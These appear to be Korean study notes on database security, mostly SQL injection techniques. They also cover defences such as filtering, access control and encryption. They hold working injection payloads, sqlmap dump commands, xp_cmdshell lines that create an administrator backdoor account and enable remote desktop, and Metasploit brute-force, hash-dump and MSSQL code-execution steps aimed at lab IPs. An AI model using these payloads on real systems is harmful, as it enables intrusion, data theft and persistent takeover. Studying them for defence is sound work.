DataBase에 sql을 날리는 어플리케이션(주로 웹 어플리케이션)의 sql에 개발자가 의도하지 않은 공격값을 주입하여 공격하는 기법
공격 예시
' or 1=1--
' or "='
' or '1'='1'
' or '1'='1
' or '1'='2'
' or 'a'='a'
' or '2'>'1'
' or 1=1)--
이렇게 해서 공격이 성공할 시 DB내 첫번째 계정(주로 관리자 계정)으로 로그인이 된다
SQL Injection 점검 방법
Form에 에러를 일으킬 수 있는
'같은 특수문자를 넣어서 확인참 거짓 문구 확인
대응방안
- 보안솔루션으로 공격 차단: 웹방화벽
- 시큐어 코딩
위험한 문자열 필터링
안전한 함수 또는 안전한 모듈 사용
응답 에러 메시지를 통해 DB의 이름 등 정보를 획득하여 공격하는 SQL 공격 기법
공격 예시
' and db_name()=0--
' and @@version=0--
' and @@servicename=0--
공격 예시
' having 1=1--
➡️ group by가 없어서 에러
➡️ DB 테이블의 필드 정보 확인 가능
' group by chapter1.idx--
➡️ 다음 필드명 확인 가능
➡️ 'chapter1.level_idx' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
UNION 구문을 사용하면 테이블 두개의 내용이 동시에 출력이 가능하고, 이를 통해 공격자가 알고 있는 DB의 테이블 데이터를 조회하여 출력
UNION으로 연결할 두 테이블의 컬럼의 수가 같아야 한다
같은 위치의 컬럼의 타입이 다를 겨웅 에러가 발생할 수 있다
컬럼의 이름이 정확해야 한다
공격 예시
' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--
➡️ 타입을 맞추기 쉬운 NULL을 넣어준다
➡️ Null 값의 사용이 잘못되었습니다.: 'CINT' 라는 오류 발생
➡️ inx같은 중요 값은 NOT NULL 때문에 NULL을 쓸 수 없다
' union select 1,1,1,NULL,NULL,NULL,NULL from member--
위 예시처럼 NULL이 아닌 부분을 예측해서 넣어야함
' union select 1,1,1,m_id,m_name,NULL,NULL from member--
위 예시처럼 넣으면 다음과 같은 결과가 나온다

Mysql, Mssql의 경우 Information Schema 데이터베이스에 전체 DB의 정보를 저장함
Information_Schema.columns 테이블을 조회할 경우, 전체 DB의 테이블명, 컬럼명을 조회할 수 있다
Union select에 Information_Schema.columns의 항목을 포함시켜 정보 파악
공격 예시
' union select 1,1,1,table_name,column_name,NULL,NULL from information_schema.columns--
' union select 1,1,1,column_name,NULL,NULL,NULL from information_schema.columns where table_name='member'--
응답 에러메시지를 통해 정보를 획득하여 공격하는 SQL Injection 공격기법
404 Not found 처럼 에러메시지 정보를 보여주는 사이트는 보안에 안 좋은 사이트이다
404이든 403이든 에러메시지 정보를 보여주지 않는 사이트가 옳바른 사이트
즉, SQL Injection 취약점은 존재하지만 에러메시지는 표시안되는 사이트에서 공격하는 기법
공격 방법
쿼리 결과(참, 거짓)에 따라 정보를 획득하여 공격하는 기법
attacker` and 1=1--
➡️ 로그인 성공attacker` and 1=2--
➡️ 로그인 실패참 구문과 거짓 구문의 반응이 다르면 SQL Injection 취약점이 존재하고 이를 통해 정보를 획득하는 Blind SQL Injection 취약점
and 뒤의 조건이 참/거짓인 경우 반응이 다른 것을 활용
Mssql, Oracle
%' and '1%'='1
%' and 'a%'='a
Mysql
' and '1'='1
' and 'a'='a
참구문 실행(' and '1'='1--)

거짓구문 실행(' and '1'='2--)

⭐위 2개의 차이점이 있는지 확인하여 Blind SQL Injection의 취약점 유무를 확인 가능
Blind SQL Injection에서 DB의 정보를 알아내는 공격
attacker' and ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))) AS varchar(20)),1,1)) >= ASCII('a')--
➡️ 해당 DB의 첫글자는 a보다 크거나 같다
➡️ 이를 통해 DB의 정보를 알아낼 수 있다
➡️ Blind SQL Injection은 수동으로 하기에는 무리가 있다
➡️ 자동화 툴이나 개발을 해서 자동화공격을 해야 공격을 수행할 수 있다
sqlmap 실행
python sqlmap.py -r 패킷.txt -p 파라미터값
DB 찾기
python sqlmap.py -r 패킷.txt --dbs --dbms="Microsoft SQL Server 2005" -p 파라미터값
Table 찾기
python sqlmap.py -r 패킷.txt -D 데이터베이스명 --tables --dbms="Microsoft SQL Server 2005" -p 파라미터값
Column 찾기
python sqlmap.py -r 패킷.txt -D 데이터베이스명 -T 테이블명 --columns --dbms="Microsoft SQL Server 2005" -p 파라미터값
내용 덤프
python sqlmap.py -r 패킷.txt -D 데이터베이스명 -T 테이블명 -C 컬럼명1,컬럼명2 --dump --dbms="Microsoft SQL Server 2005" -p 파라미터값
참고
python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server 2005" -p keyword -- current-user
➡️ 사용자 정보
python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server 2005" -p keyword -- current-db
➡️ DB 정보
python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server 2005" -p keyword -- passwords
➡️ 비번 정보
DB에 내장된 관리목적의 여러가지 자동화 기능
저장프로시저 중에 SQL Injection으로 사용되면 위험한 저장프로시저가 존재함
xp_cmdshell
SQL Server에서 운영 체제 명령을 실행할 수 있게 해준다. SQL Injection을 통해 관리자 권한으로 시스템 명령어(shell 명령어) 실행 가능
공격 예시
'; exec master.dbo.xp_cmdshell 'ipconfig /all > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' whoami > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' net accounts > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' net localgroup > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' net user > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' net user > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' netstat -an > D:\wwwroot\board\ip.txt'--
'; exec master.dbo.xp_cmdshell ' arp -a > D:\wwwroot\board\ip.txt'--
계정을 만들고 관리자권한 부여하기
'; exec master.dbo.xp_cmdshell 'net user hacker hacker /add'--
➡️ hacker라는 이름의 백도어 계정 만들기
'; exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'--
➡️ hacker 계정 관리자 권한 부여
';exec master.dbo.xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSCConnections /T REG_DWORD /d 0 /f'--
➡️ 원격 데스크톱 ON 설정
DB보안에서 가장 중요한 것은 접근제어
sudo mysql_secure_installation
mysql 처음 설치시 보안 설정을 쉽고 좋게하는 방법, 보안을 강화하려고 씀
비밀번호 설정 및 각종 보안 설정을 함
주요기반시설 점검가이드의 리눅스, 윈도우, DB취약점 점검 항목을 확인
파일퍼미션 등 파일에 대한 접근 제어
DB2라는 DB ➡️ 리눅스 계정 = DB 계정 동일
mysql 계정이 로그인 불가 쉘인지 확인
접근 제어 방법
- 외부방화벽, 웹서버, 내부방화벽, DB서버
▪️ 내부방화벽에서 차단 (차단은 화이트 리스트로)
▪️ DB에서 차단
▪️ sql방화벽, DB접근제어솔루션에서 차단
➡️ 접속 ip, 사용자 인증정보, 클라이언트 프로그램, 접속하려는 DB 객체 등등 세밀하게 접근제어 가능
- 모니터링을 통한 접근제어
평소에는 접근을 허용하고 있다가 비정상적인 접속이 보이면 공격으로 의심하고 차단한다
최신 버전을 사용하기
sql Injection: 대표적인 웹취약점이자 DB 공격방법
DB 설정 파일 접근: 웹쉘, 파일 다운로드 취약점, 강제 브라우징 접근, 기타 DB 설정 파일(inc, conf, xml) 누출불필요한 DB 접근 페이지는 삭제할 것
➡️ phpmyadmin, adminer 등 웹 기반 db 관리 도구에 의해 해킹되는 사례가 많다해커가 DB 서버를 해킹하기 위해 필요한 것
▪️ 1. DB 서버의 IP
▪️ 2. DB 계정 및 패스워드
스니핑, MITM 등의 공격을 막기 위해
기밀성 보호 목적SSL 통신, IPSEC, DB 암호화 솔루션 등등의 방법
DB를 저장한 파일/디스크을(를) 훔쳐감
권한이 없는 해커가 DB를 훔쳐감
➡️ 훔쳐가도 데이터 암호화를 통해 어느 정도 예방이 가능데이터 암호화 방법
▪️ 어플레케이션 수준에서 암호화
➡️ 데이터베이스를 이용하는 어플리케이션이 데이터를 저장할 때 자신의 암호화 기능을 사용해서 저장
➡️ 문제점: 암호화한 어플리케이션 외 다른 DB 접근도구를 사용할 경우 추가적인 암호화 기능 모듈 설치를 해야함▪️ 파일시스템(OS레벨)에서 암호화
➡️ 운영체제가 제공하는 암호화 기능 사용
➡️ 문제점: 파일이난 디스크 자체 탈취에 대안은 될 수 있으나 운영체제가 공격당할 경우 대안이 될 수 없다
➡️ 속도가 느림, DB를 사용할 시 복호화를 먼저 해야하므로▪️ DBMS에서 암호화
➡️ DBMS 자체 암호화 기능을 사용, DBMS 종류와 버전마다 기능은 매우 다양하게 존재▪️ 솔루션에서 암호화
➡️ 솔루션마다 상이
기본 계정
Oracle:
SCOTT/TIGER➡️ 테스트 계정
버전이 올라갈수록 사실 대부분 계정은 잠겨있음, 하지만 잘못된 보안설정이나 낮은 버전의 경우 혹시라도 로그인이 되거나 패스워드가 취약할 수 있음MSSQL:
sa
➡️ 최근의 MSSQL에 와서는sa를 기본적으로 쓰지 않는다
윈도우 인증: 윈도우에 로그인한 사용자가 그룹이 DB에 접근을 허용
혼합 인증: 윈도우 인증 +sql 서버 인증방식(sql 서버에 별도의 계정으로 인증하는 것) 추가MySQL:
root
➡️root는 해킹 당하기 쉬우니 다른 이름으로 바꾸는 것 추천
set rhost 192.168.100.131
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
set stop_on_success true
- set rhost 192.168.100.131:
원격 대상의 IP 주소를 설정
이 실습에서는 MySQL 서버와 MSSQL 서버를 대상으로 하며, rhost는 원격 호스트의 IP 주소를 가리킴- set user_file /root/Desktop/user.txt: MySQL 또는 MSSQL 서버에 로그인 시도할 사용자 이름 목록이 담긴 파일을 지정
- set pass_file /root/Desktop/pass.txt: 사용자 이름과 함께 사용할 비밀번호 목록 파일을 지정
- set stop_on_success true: 로그인이 성공하면 공격을 중단하는 옵션을 설정
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.100.131
set username test
set password 12345678
run
use auxiliary/scanner/mysql/mysql_hashdump
MySQL 서버에서 사용자 계정의해시 값을 추출하는 스캐닝 도구
사용자가 설정한 사용자 이름과 비밀번호를 사용해 데이터베이스에 접근한 후, 해시된 비밀번호 정보를 가져온다
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.100.131
set username test
set password 12345678
run
use auxiliary/scanner/mysql/mysql_schemadump
MySQL 서버에서데이터베이스 스키마 정보를 추출
해당 스키마는 테이블, 뷰, 트리거와 같은 데이터베이스 구조 정보를 포함하고 있으며, 이를 통해 데이터베이스의 구조를 파악할 수 있다
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.100.132
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
run
use auxiliary/scanner/mssql/mssql_login
MSSQL 서버에 대한로그인 공격을 수행
지정한 사용자 이름 파일(user_file)과 비밀번호 파일(pass_file)을 사용해 무차별 대입 공격을 시도하여 로그인에 성공하는 계정을 찾는다
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 192.168.100.132
set password qwer1234
run
use auxiliary/admin/mssql/mssql_enum_sql_logins
MSSQL 서버에서SQL 로그인 계정 정보를 열거
데이터베이스 관리자 권한을 탐색하고 SQL 로그인을 통해 서버에 대한 추가적인 정보를 수집
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhost 192.168.100.132
set password qwer1234
run
use auxiliary/admin/mssql/mssql_escalate_dbowner
MSSQL 데이터베이스에서 사용자의 권한을db_owner로 상승시키는 도구
이는 서버 내 특정 사용자의 권한을 강화하여 추가적인 관리 작업을 수행할 수 있게 만든다
use exploit/widows/mssql/mssql_payload
set rhost 192.168.100.132
set username sa
set password qwer1234
set srvhost 192.168.100.129(칼리ip)
set METHOD old
run
use exploit/windows/mssql/mssql_payload
MSSQL 서버에원격 코드 실행 페이로드를 전달하는 익스플로잇 모듈
srvhost는 공격자가 제어하는 서버의 IP 주소로 설정되며, 페이로드는 공격 대상의 MSSQL 서버에서 실행
METHOD old는 MSSQL의 오래된 방법을 이용한 익스플로잇 방식으로 설정된 것